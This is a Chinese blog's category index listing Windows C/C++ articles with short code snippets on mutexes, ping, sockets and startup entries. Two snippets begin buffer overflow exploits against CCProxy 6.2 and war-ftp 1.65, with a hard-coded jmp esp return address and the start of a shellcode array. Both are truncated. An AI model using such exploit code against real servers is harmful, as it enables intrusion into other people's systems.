![](https://img-blog.csdnimg.cn/20201014180756754.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
VC开发心得
文章平均质量分 72
my2005lb
有乐观的心态,性格沉稳,不事张扬(http://www.cdus.org)
展开
-
如何实现应用程序在操作系统中只运行一份
如何实现应用程序在操作系统中只运行一份,我这里采用互斥技术.进程互斥能从机制上保证,当另外一个程序副本在运行时,触发此规则. 具体代码如下: HANDLE hMutex = NULL; hMutex = CreateMutex(NULL,FALSE,"my2005lb"); if(hMutex != NULL) { DWORD dw = GetLastError(); if原创 2008-12-22 23:38:00 · 538 阅读 · 0 评论 -
应用程序从任务栏中隐藏的C代码
本条语句是将应用程序从任务栏中去掉 ModifyStyleEx(WS_EX_APPWINDOW, WS_EX_TOOLWINDOW); 对于MFC程序,可以放置于系统初始化。 另外保证应用程序唯一性的运转,可以用下面的代码(采用互斥技术): HANDLE hMutex = NULL; hMutex = ::CreateMutex(NULL,FALSE,"OPE原创 2013-03-19 21:06:55 · 1029 阅读 · 0 评论 -
CCProxy缓存区溢出攻击代码
针对CCProxy6.2的一个缓存区溢出漏洞(telnet到CCProxy服务器,当执行ping命令主机名输入超过1012字节时),实现Shellcode的代码注入。 #include #include #include #pragma comment (lib,"ws2_32")// jmp esp address of chinese version原创 2013-03-19 21:27:43 · 2129 阅读 · 0 评论 -
应用程序开机自启动的C代码
分享一段开机自启动代码,基于VC++编译。 char drive[_MAX_DRIVE]; char dir[_MAX_DIR]; char fname[_MAX_FNAME]; char ext[_MAX_EXT]; _splitpath(__argv[0],drive,dir,fname,ext); CString path(drive); path+=dir原创 2013-03-19 21:03:10 · 1778 阅读 · 0 评论 -
warftp缓存区溢出攻击C代码
针对war-ftp 1.65,当用户在执行登录时,若其用户名输入长度大于485,则会发生溢出错误,下面给出一段示例代码:#include #include #pragma comment(lib,"ws2_32")#define JUMPESP "\x12\x45\xfa\x7f"// exec calcchar shellcode[] = "\原创 2013-03-19 21:31:43 · 1653 阅读 · 1 评论 -
游戏服务器端通信框架(C++与Socket)
这是一个小型多个对战的游戏服务器端代码,经过修改。文件一:stdafx.h//-------------------------------------------------------------------------//stdafx.h中的函数为全局共享////版权所有 DreamShip////------------------------------------原创 2013-03-18 22:26:35 · 14472 阅读 · 2 评论 -
基于Socket与C的WEB页面抓取程序
基于C与Socket编写了一个HTTP页面检查程序,通过这个程序,可以加载指定WEB服务器上的页面信息,这在爬虫、抓取WEB页面、分析是否有挂马行为有参考意义。 代码如下://---#include #include #include #include #include #includechar *checkhttp(char *path){ WSADATA原创 2013-03-18 22:36:35 · 1762 阅读 · 0 评论 -
游戏客户器端通信框架(C++与Socket)
与之相对应的客户端代码,经过修改。文件一:stdafx.h//-------------------------------------------------------------------------//stdafx.h中的函数为全局共享////版权所有 DreamShip////--------------------------------------------原创 2013-03-18 22:32:25 · 3020 阅读 · 0 评论 -
基于C语言与原始套接字实现Ping程序
源代码如下:ping.h#pragma pack(1)//#define u_char unsigned char//#define u_short unsigned short #include#define ICMP_ECHOREPLY 0#define ICMP_ECHOREQ 8//////////////////////////////////type原创 2013-03-18 22:16:46 · 2572 阅读 · 0 评论 -
基于UDP的多线程网络通信程序
分享一段基于UDP的多线程网络点对点通信程序。 文件一:CComm.h#ifndef _CCOMM_H_#define _CCOMM_H_#include #include #include #include #define socklen_t int#pragma comment(lib, "wsock32.lib")class CComm原创 2013-03-18 22:44:17 · 7739 阅读 · 0 评论 -
发布一个C编写的Ping类
CPing.h// Ping.h: interface for the CPing class.////////////////////////////////////////////////////////////////////////#if !defined(AFX_PING_H__2EBF2C11_A0A3_403B_9EB2_1905CFF8EE58__INCLUDE原创 2013-03-19 21:09:35 · 1074 阅读 · 0 评论